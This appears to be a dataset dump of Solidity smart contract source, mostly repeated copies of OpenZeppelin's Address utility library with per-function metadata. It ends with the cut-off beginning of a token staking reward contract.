https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCall
function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); }
/** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */
NatSpecMultiLine
v0.7.5+commit.eb77ed08
Unlicense
ipfs://baff47745271756bebef2d53b613e91d065de4b1f386294de9e7600221bfe01b
{ "func_code_index": [ 3121, 3299 ] }
59,350
Aeternalism
@openzeppelin/contracts/utils/Address.sol
0xd932ba8adf16009e5571648e070f9eebb2f259c0
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCall
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */
NatSpecMultiLine
v0.7.5+commit.eb77ed08
Unlicense
ipfs://baff47745271756bebef2d53b613e91d065de4b1f386294de9e7600221bfe01b
{ "func_code_index": [ 3524, 3724 ] }
59,351
Aeternalism
@openzeppelin/contracts/utils/Address.sol
0xd932ba8adf16009e5571648e070f9eebb2f259c0
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCallWithValue
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */
NatSpecMultiLine
v0.7.5+commit.eb77ed08
Unlicense
ipfs://baff47745271756bebef2d53b613e91d065de4b1f386294de9e7600221bfe01b
{ "func_code_index": [ 4094, 4325 ] }
59,352
Aeternalism
@openzeppelin/contracts/utils/Address.sol
0xd932ba8adf16009e5571648e070f9eebb2f259c0
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCallWithValue
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); }
/** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */
NatSpecMultiLine
v0.7.5+commit.eb77ed08
Unlicense
ipfs://baff47745271756bebef2d53b613e91d065de4b1f386294de9e7600221bfe01b
{ "func_code_index": [ 4576, 5111 ] }
59,353
Aeternalism
@openzeppelin/contracts/utils/Address.sol
0xd932ba8adf16009e5571648e070f9eebb2f259c0
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionStaticCall
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */
NatSpecMultiLine
v0.7.5+commit.eb77ed08
Unlicense
ipfs://baff47745271756bebef2d53b613e91d065de4b1f386294de9e7600221bfe01b
{ "func_code_index": [ 5291, 5495 ] }
59,354
Aeternalism
@openzeppelin/contracts/utils/Address.sol
0xd932ba8adf16009e5571648e070f9eebb2f259c0
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionStaticCall
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */
NatSpecMultiLine
v0.7.5+commit.eb77ed08
Unlicense
ipfs://baff47745271756bebef2d53b613e91d065de4b1f386294de9e7600221bfe01b
{ "func_code_index": [ 5682, 6109 ] }
59,355
USDT
contracts/USDT.sol
0xa38b0451d32b42c5bd5ddc43aefc17e4f345a5f7
Solidity
USDT
contract USDT is FarmTokenWrapper, IRewardDistributionRecipient { IERC20 public RewardToken = IERC20(0x72C1123c8e57d75fbF36478544b64cDe0Abe7F1B); uint256 public constant DURATION = 14 days; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; address public devaddr; constructor() public { devaddr = msg.sender; rewardDistribution = msg.sender; } event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } // stake visibility is public as overriding LPTokenWrapper's stake() function function stake(uint256 amount) public updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); getReward(); super.stake(amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public 